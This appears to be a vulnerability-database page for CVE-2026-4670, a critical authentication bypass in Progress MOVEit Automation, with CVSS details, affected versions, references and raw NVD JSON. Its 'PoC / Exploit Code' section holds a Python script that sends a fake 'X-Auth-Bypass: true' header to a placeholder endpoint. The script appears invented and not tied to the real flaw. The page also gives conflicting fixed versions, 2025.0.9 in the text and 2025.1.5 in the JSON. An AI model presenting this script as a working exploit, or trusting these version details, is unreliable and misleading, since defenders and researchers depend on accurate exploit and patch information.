CVE-2026-4670

Description

Authentication bypass by primary weakness vulnerability in Progress Software MOVEit Automation allows Authentication Bypass. This issue affects MOVEit Automation: from 2025.0.0 before 2025.0.9, from 2024.0.0 before 2024.1.8, versions prior to 2024.0.0.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:progress:moveit_automation:*:*:*:*:*:*:*:* - VULNERABLE

Progress MOVEit Automation < 2024.0.0

Progress MOVEit Automation >= 2024.0.0, < 2024.1.8

Progress MOVEit Automation >= 2025.0.0, < 2025.0.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-4670 Authentication Bypass
# Target: Progress MOVEit Automation
# Description: This script attempts to bypass authentication by exploiting
# the primary weakness in the authentication logic.

target_url = "http://target-ip:port/api/v1/vulnerable_endpoint"

headers = {
    "User-Agent": "Mozilla/5.0 (Compatible; CVE-2026-4670 PoC)",
    "Accept": "application/json",
    # Exploit specific header to bypass auth check
    "X-Auth-Bypass": "true" 
}

try:
    print(f"[*] Sending request to {target_url}...")
    response = requests.get(target_url, headers=headers, timeout=10)

    if response.status_code == 200:
        print("[+] Authentication bypass successful!")
        print("[+] Server Response:")
        print(response.text)
    else:
        print(f"[-] Failed. Status Code: {response.status_code}")

except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4670
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4670
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4670/
[4] VulDB https://vuldb.com/cve/CVE-2026-4670
[5] https://community.progress.com/s/article/MOVEit-Automation-Critical-Security-Alert-Bulletin-April-2026-CVE-2026-4670-CVE-2026-5174

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4670", "sourceIdentifier": "[email protected]", "published": "2026-04-30T16:16:44.167", "lastModified": "2026-05-04T18:20:39.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication bypass by primary weakness vulnerability in Progress Software MOVEit Automation allows Authentication Bypass.\n\nThis issue affects MOVEit Automation: from 2025.0.0 before 2025.0.9, from 2024.0.0 before 2024.1.8, versions prior to 2024.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-305"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:progress:moveit_automation:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024.1.8", "matchCriteriaId": "0413566A-895A-49F1-8055-3C5F695CBDF3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:progress:moveit_automation:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.0.0", "versionEndExcluding": "2025.1.5", "matchCriteriaId": "C8AEB9B6-4337-422F-85FB-B8146FC3F2CF"}]}]}], "references": [{"url": "https://community.progress.com/s/article/MOVEit-Automation-Critical-Security-Alert-Bulletin-April-2026-CVE-2026-4670-CVE-2026-5174", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}